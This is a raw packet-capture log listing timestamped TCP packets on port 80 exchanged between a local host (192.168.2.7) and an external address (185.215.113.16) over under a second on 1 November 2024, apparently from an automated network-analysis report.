Nov 1, 2024 12:34:32.115350008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115360975 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115370989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115381956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115391970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115392923 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115403891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115415096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115417957 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115427017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115437031 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115449905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115458012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115463972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115474939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115485907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115494967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115505934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115515947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115515947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115515947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115530014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115540028 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115547895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115554094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115614891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115627050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115637064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115648985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115660906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115669012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115673065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115684986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115691900 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115705013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115760088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115772009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115781069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115793943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115803957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115813971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115814924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115827084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115833998 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115833998 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115839958 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115850925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115861893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115863085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115873098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115883112 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115885019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115897894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115919113 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115946054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116120100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116132021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116142988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116153955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116163015 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116164923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116177082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116189957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116192102 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116202116 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116214991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116214991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116229057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116240978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116250038 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116250992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116262913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116274118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116275072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116286039 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116297007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116297960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116308928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116336107 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116336107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116336107 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116353035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116364002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116374969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116377115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116391897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116399050 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116405010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116415977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116426945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116435051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116439104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116456032 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116480112 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116493940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116504908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116514921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116527081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116537094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116537094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116549969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116550922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116592884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116664886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116676092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116686106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116698027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116705894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116710901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116749048 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116816044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116827965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116838932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116849899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116858006 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116862059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116873980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116880894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116883993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116897106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116908073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116909027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116918087 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116919994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116933107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116945982 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116955042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116966009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116971016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.116977930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.116990089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117000103 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117001057 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117012024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117026091 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117027998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117039919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117050886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117053986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117063046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117085934 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117105961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117230892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117243052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117253065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117264032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117275000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117281914 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117289066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117301941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117309093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117312908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117324114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117333889 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117336035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117341042 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117348909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117360115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117371082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117371082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117407084 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117619991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117630959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117671967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117682934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117695093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117706060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117714882 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117714882 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117722988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117723942 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117734909 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117747068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117758036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117769003 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117773056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117785931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117793083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117800951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.117810965 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.117835999 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118015051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118072033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118083000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118093967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118118048 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118129969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118187904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118199110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118210077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118221045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118232012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118232965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118244886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118253946 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118257999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118272066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118283033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118285894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118297100 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118307114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118318081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118330002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118338108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118338108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118340969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118354082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118370056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118392944 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118417978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118428946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118438959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118452072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118457079 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118463993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118474960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118479013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118486881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118498087 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118503094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118518114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118530989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118531942 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118544102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118551970 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118565083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118576050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118592024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118594885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118607998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118617058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118618965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118632078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118643045 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118645906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118659973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118671894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118700027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118700027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.118865967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118880033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118925095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118937969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.118997097 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119052887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119064093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119076014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119086981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119096994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119103909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119107962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119112968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119121075 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119133949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119142056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119160891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119168997 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119199991 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119287968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119338036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119383097 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119425058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119440079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119452000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119462013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119473934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119476080 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119486094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119498014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119498968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119510889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.119524956 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.119554043 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.335565090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.335627079 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.377464056 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.382637978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382677078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382684946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382694960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382702112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382707119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382714987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382785082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.382813931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382819891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382826090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382833004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.382839918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382846117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382852077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382858038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382863998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382863998 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.382870913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382884979 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.382910967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.382944107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382950068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382956982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382967949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382975101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.382998943 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383059978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383065939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383070946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383083105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383088112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383093119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383099079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383105040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383109093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383115053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383120060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383126974 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383132935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383132935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383140087 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383151054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383151054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383160114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383186102 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383212090 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383239985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383245945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383253098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383291960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383310080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383322001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383328915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383333921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383364916 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.383392096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383398056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383409977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383424044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383430004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383435965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383443117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.383447886 CET	49996	80	192.168.2.7	185.215.113.16
